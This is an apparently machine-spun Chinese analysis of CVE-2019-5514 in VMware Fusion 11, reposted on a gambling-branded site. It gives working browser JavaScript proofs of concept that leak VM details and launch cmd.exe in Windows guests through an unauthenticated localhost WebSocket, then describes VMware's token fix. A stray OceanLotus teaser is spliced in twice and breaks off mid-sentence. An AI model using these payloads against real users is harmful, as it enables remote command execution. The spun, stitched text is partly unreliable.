VMware Fusion 11经由过程WebSocket接口掌握虚拟机RCE破绽剖析(CVE-2019-5514) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

VMware Fusion 11经由过程WebSocket接口掌握虚拟机RCE破绽剖析(CVE-2019-5514)

申博_新闻事件 申博 253次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

概述

进击者可以或许经由过程某个网站,在无需掌握任何准备学问的前提下,在VMware Fusion Guest VM上运转恣意敕令。基础来讲,VMware Fusion仅仅会在当地主机上侦听WebSocket。进击者可以或许经由过程这一WebSocket界面完全掌握一切假造机,也可以或许建立或删除快照,或许举行其他的操纵,包孕启动应用顺序。进击者须要在Guest假造机上装置VMware Tools,才可以或许启动应用顺序,但现实上,人人应当都已装置了。因而,经由过程在网站上建立JavaScript,进击者就可以或许与未经文档纪录的API完成交互。固然,这都是未经由身份验证的。

初期发明效果

几个礼拜前,我在Twitter上看到了@CodeColorist宣布的一篇推文,谈到了这个题目。他是最早发明这一题目的人,但由于我一向没有时候研讨这个题目,致使放置了一段时候。当我再想回去看时,发明这篇推文已被删除。然则,我在这位研讨者的微博帐号中发明了一样的推文(@CodeColorist)。下面是他宣布的微博截图:

VMware Fusion 11经由过程WebSocket接口掌握虚拟机RCE破绽剖析(CVE-2019-5514)

可以或许在这里看到,我们可以或许经由过程Web套接字在Guest VM上实行恣意敕令,该接口由amsrv历程启动。我异常信托这位研讨者的研讨效果,因而我接下来将在他供应的信息基础上做进一步的研讨。

AMSRV

在研讨中,我运用了GitHub上面的ProcInfoExample项目,应用Proc Info库来监控运转VMware Fusion时启动的历程范例。在启动VMware时,将启动vmrest(VMware REST API)和amsrv:

2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start:
pid: 10936
path: /Applications/VMware Fusion.app/Contents/Library/vmrest
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)
 
2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start:
pid: 10935
path: /Applications/VMware Fusion.app/Contents/Library/amsrv
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)

它们似乎是相干的,特别是,我们可以或许经由过程这个端口接见到一些未纪录的VMware REST API挪用。由于我们可以或许经由过程amsrv历程掌握应用顺序菜单,以是我以为这类似于“应用顺序菜单效劳”(Application Menu Service)。若是我们导航到/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources的地位,我们可以或许找到一个名为app.asar的文件,在文件的末端有一个node.js完成,与这个侦听8698端口的WebSocket相干。在该文件中,源代码的花样范例异常好,因而我们其实不须要举行硬核的逆向工程。

我们检察这局部代码,它注解VMware Fusion应用顺序菜单确切会在8698端口上启动amsrv历程,若是该端口被占用,那末将会试验下一个可以或许启用的端口,顺次类推。

const startVMRest = async () => {
   log.info('Main#startVMRest');
   if (vmrest != null) {
      log.warn('Main#vmrest is currently running.');
      return;
   }
   const execSync = require('child_process').execSync;
   let port = 8698; // The default port of vmrest is 8697
   let portFound = false;
   while (!portFound) {
      let stdout = execSync('lsof -i :' + port + ' | wc -l');
      if (parseInt(stdout) == 0) {
         portFound = true;
      } else {
         port++;
      }
   }
   // Let's store the chosen port to global
   global['port'] = port;
   const spawn = require('child_process').spawn;
   vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [
      '-D',
      '-p',
      port
   ]);

我们可以或许在VMware Fusion Application目次日记中找到相干的日记信息:

2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )

这样一来,我们就可以或许确认Web套接字和其他API接口。

REST API – 走漏假造机信息

若是我们导航到上面的URL(http://localhost:8698/api/internal/vms),我们将取得花样优越的JSON,和关于我们的假造机的详细信息:

[
{
    "id": "XXXXXXXXXXXXXXXXXXXXXXXXXX",
    "processors": -1,
    "memory": -1,
    "path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx",
    "cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist",
    "powerState": "unknown"
  }
]

这已是信息泄漏,进击者可以或许猎取有关我们的用户ID、文件夹称号、假造机称号等基础信息。下面的代码可以或许用于展现这些信息。若是我们可以或许将这个JavaScript放入任何网站,而且运转Fusion的主机可以或许接见它,那末我们就可以或许查询REST API。

var url = 'http://localhost:8698/api/internal/vms'; //A local page
 
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
 
// If specified, responseType must be empty string or "text"
xhr.responseType = 'text';
 
xhr.onload = function () {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200) {
            console.log(xhr.response);
            //console.log(xhr.responseText);
            document.write(xhr.response)
        }
    }
};
 
xhr.send(null);

若是我们仔细阅读代码,就会发明这些分外的URL走漏了更多信息:’/api/vms/’ + vm.id + ‘/ip’。这样一来,我们就会取得假造机的内部IP地点,但这类要领其实不适用于加密的假造机或已关机的假造机。’/api/internal/vms/’ + vm.id这局部与我们此前提到的第一个URL所取得的信息是雷同的,仅仅是将信息限定为针对单个假造机。

WebSocket-带有vmUUID的RCE

下面是@CodeColorist宣布的原始PoC。

<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
       const payload = {
              "name":"menu.onAction",
              "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
              "userInfo": {
                     "action":"launchGuestApp:",
                     "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
                     "representedObject":"cmd.exe"
                            }
                     };
                     ws.send(JSON.stringify(payload));
              };
ws.onmessage = function(data) {
       console.log(JSON.parse(data.data));
       ws.close();
       };
</script>

在这个PoC中,我们须要假造机的UUID才能启动应用顺序。我们可以或许在vmx文件中找到bios.uuid,这就是所说的VmUUID。但题目是,这里其实不存在 vmUUID走漏的状况,我们也不克不及运用暴力破解的体式格局,这几乎是不可能完成的义务。我们须要在Guest VM上装置VMware Tools才能胜利运转,但现实上绝大多数用户都已预先装置了这一工具。若是假造机被挂起或封闭,那末VMware将可以或许资助我们启动假造机。别的,敕令也会被加入到行列中,直到用户登录,因而纵然是在屏幕锁定的状况下,我们也可以或许在用户登录后运转此敕令。经由一些试验后,我注意到,若是我删除工具和vmUUID元素,代码末了运用的假造机仍然会实行,因而也就会生存一些状况信息。

WebSocket – 信息走漏

在最先复原,并追踪Web套接字将挪用的内容,和代码中的别的选项以后,一些事变就会变得清楚,这时候我们就可以或许完全接见应用顺序目次,而且可以或许完全掌握一切内容。在搜检VMware Fusion二进制文件时,我们发明其他目次中包罗一些其他的选项。

OceanLotus macOS歹意软件更新

2019年3月初,有一款来自OceanLotus的攻击macOS的恶意软件被上传到VirusTotal。研究人员分析发现该后门可执行文件与之前的macOS变种有相同的特征,但是其结构发生了变化,所以检测起来更难。但因为找不到与该样本相关的释放器,所以也不

                     aMenuupdate:
00000001003bedd2         db         "menu.update", 0                            ; DATA XREF=cfstring_menu_update
                     aMenushow:
00000001003bedde         db         "menu.show", 0                              ; DATA XREF=cfstring_menu_show
                     aMenuupdatehotk:
00000001003bede8         db         "menu.updateHotKey", 0                      ; DATA XREF=cfstring_menu_updateHotKey
                     aMenuonaction:
00000001003bedfa         db         "menu.onAction", 0                          ; DATA XREF=cfstring_menu_onAction
                     aMenurefresh:
00000001003bee08         db         "menu.refresh", 0                           ; DATA XREF=cfstring_menu_refresh
                     aMenusettings:
00000001003bee15         db         "menu.settings", 0                          ; DATA XREF=cfstring_menu_settings
                     aMenuselectinde:
00000001003bee23         db         "menu.selectIndex", 0                       ; DATA XREF=cfstring_menu_selectIndex
                     aMenudidclose:
00000001003bee34         db         "menu.didClose", 0                          ; DATA XREF=cfstring_menu_didClose

这些都是经由过程WebSocket挪用的。我没有再继承深切地研讨每一个菜单上的每一个选项,然则若是我们已掌握了vmUUID,我们就可以或许做任何想做的事变,比方制造快照、启动假造机、删除假造机等等。但由于现在,我还没有弄清楚应当怎样获得它,因而还没可以或许现实完成这一点,这也是须要处理的一个题目。

下一个值得存眷的选项是menu.refresh。若是我们运用以下Payload:

       const payload = {
              "name":"menu.refresh",
                     };

我们将会取得和假造机和流动应用顺序相干的一些详细信息。

{
  "key": "menu.update",
  "value": {
    "vmList": [
      {
        "name": "Kali 2018 Master (2018Q4)",
        "cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist"
      },
      {
        "name": "macOS 10.14",
        "cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist"
      },
      {
        "name": "Windows 10 x64",
        "cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist"
      }
    ],
    "menu": {
      "pinnedApps": [],
      "frequentlyUsedApps": [
        {
          "rawIcons": [
            {
(...)

经由过程前面议论的API,我们可以或许发明这一点,因而我们发明了更多的信息被走漏。

WebSocket – 完全的长途代码实行(在不掌握vmUUID的状况下)

下一个值得存眷的条目时menu.selectIndex,它发起用户可以或许挑选的假造机。以至,在app.asar文件中,有一局部相干的代码,可以或许示知我怎样对其举行挪用:

   // Called when VM selection changed
   selectIndex(index: number) {
      log.info('Renderer#ActionService::selectIndex: (index:', index, ')');
      if (this.checkIsFusionUIRunning()) {
         this.send({
            name: 'menu.selectIndex',
            userInfo: { selectedIndex: index }
         });
      }

若是我们依照上面的发起来对此项举行挪用,然后试验在Guest假造机上启动应用顺序,我们就可以或许指定哪一个Guest VM运转该应用顺序。基础上,我们可以或许经由过程这一挪用来完成假造机的挑选。

       const payload = {
              "name":"menu.selectIndex",
              "userInfo":      {
                     "selectedIndex":"3"
                            }
                     };

接下来,我举行了试验,看看是不是可以或许直接在menu.onAction挪用中运用selectedIndex。终究,谜底是一定的。很明显,我运用menu.refresh取得的vmList具有每一个假造机准确递次和索引。

为了取得完全的长途代码实行,我们的步调应当以下:

1. 运用menu.refresh走漏假造机列表;

2. 运用索引,在Guest VM上启动应用顺序。

PoC

<script>
 
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
       //payload to show vm names and cache path
       const payload = {
              "name":"menu.refresh",
                     };
                     ws.send(JSON.stringify(payload));                   
              };
ws.onmessage = function(data) {
       //document.write(data.data);
       console.log(JSON.parse(data.data));
       var j_son = JSON.parse(data.data);
       var vmlist = j_son.value.vmList;
       var i;
       for (i = 0; i < vmlist.length; i++) {
       //payload to launch an app, you can use either the vmUUID or the selectedIndex
       const payload = {
              "name":"menu.onAction",
              "userInfo": {
                     "action":"launchGuestApp:",
                     "selectedIndex":i,
                     "representedObject":"cmd.exe"
                            }
                     };
              if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));}                  
       }     
       ws.close();
       };
</script>

向VMware申报

在此时,我与@Codecolorist取得了联络,并讯问他是不是已向VMware申报,获得了一定的谜底,而且VMware延续在与他举行相同。我决议,向VMware发送另外一份申报,由于我发明这一破绽异常严峻,特别是与本来的PoC比拟,我找到了一种可以或许实行这类进击的现实要领,我希望能催促VMware尽快修复。

修复

几天前,WMware宣布了一个修补顺序和征询,编号为VMSA-2019-0005。我们来看看他们做出的现实修改,基础上,他们完成了令牌认证,个中每次启动VMware都邑运转新天生的令牌。

下面是用于天生令牌的相干代码(来源于app.asar):

String.prototype.pick = function(min, max) {
   var n,
      chars = '';
   if (typeof max === 'undefined') {
      n = min;
   } else {
      n = min + Math.floor(Math.random() * (max - min + 1));
   }
   for (var i = 0; i < n; i++) {
      chars += this.charAt(Math.floor(Math.random() * this.length));
   }
   return chars;
String.prototype.shuffle = function() {
   var array = this.split('');
   var tmp,
      current,
      top = array.length;
   if (top)
      while (--top) {
         current = Math.floor(Math.random() * (top + 1));
         tmp = array[current];
         array[current] = array[top];
         array[top] = tmp;
      }
   return array.join('');
export class Token {
   public static generate(): string {
      const specials = '[email protected]#$%^&*()_+{}:"<>?|[];\',./`~';
      const lowercase = 'abcdefghijklmnopqrstuvwxyz';
      const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      const numbers = '0123456789';
      const all = specials + lowercase + uppercase + numbers;
      let token = '';
      token += specials.pick(1);
      token += lowercase.pick(1);
      token += uppercase.pick(1);
      token += numbers.pick(1);
      token += all.pick(5, 7);
      token = token.shuffle();
      return Buffer.from(token).toString('base64');
   }

令牌码是一个可变长度的暗码,个中包罗来自APP、小写、数字和标记当中的最少1个字符。该令牌码将会被运用Base64要领举行编码,我们可以或许在WireShark中找到它:

VMware Fusion 11经由过程WebSocket接口掌握虚拟机RCE破绽剖析(CVE-2019-5514)

我们还可以或许看到它正在代码中运用:

function sendVmrestReady() {
   log.info('Main#sendVmrestReady');
   if (mainWindow) {
      mainWindow.webContents.send('vmrestReady', [
         'ws://localhost:' + global['port'] + '/ws?token=' + token,
         'http://localhost:' + global['port'],
         '?token=' + token
      ]);
   }

若是我们有mac用于实行代码,我们可能会处理这一令牌的题目,但在这类状况下,它无论怎样都其实不主要,暗码现实上会限定进击者应用这个长途代码的才能。

经由过程一些试验,我还发明我们须要将Header中的Origin设置为file://,不然将会被禁用,由于这必须由浏览器举行设置,以是我们没法经由过程一般的JS挪用来举行设置。以下所示。

Origin: file://

因而,纵然进击者晓得令牌,也没法经由过程一般网页触发此令牌。

OceanLotus macOS歹意软件更新

2019年3月初,有一款来自OceanLotus的攻击macOS的恶意软件被上传到VirusTotal。研究人员分析发现该后门可执行文件与之前的macOS变种有相同的特征,但是其结构发生了变化,所以检测起来更难。但因为找不到与该样本相关的释放器,所以也不


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明VMware Fusion 11经由过程WebSocket接口掌握虚拟机RCE破绽剖析(CVE-2019-5514)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址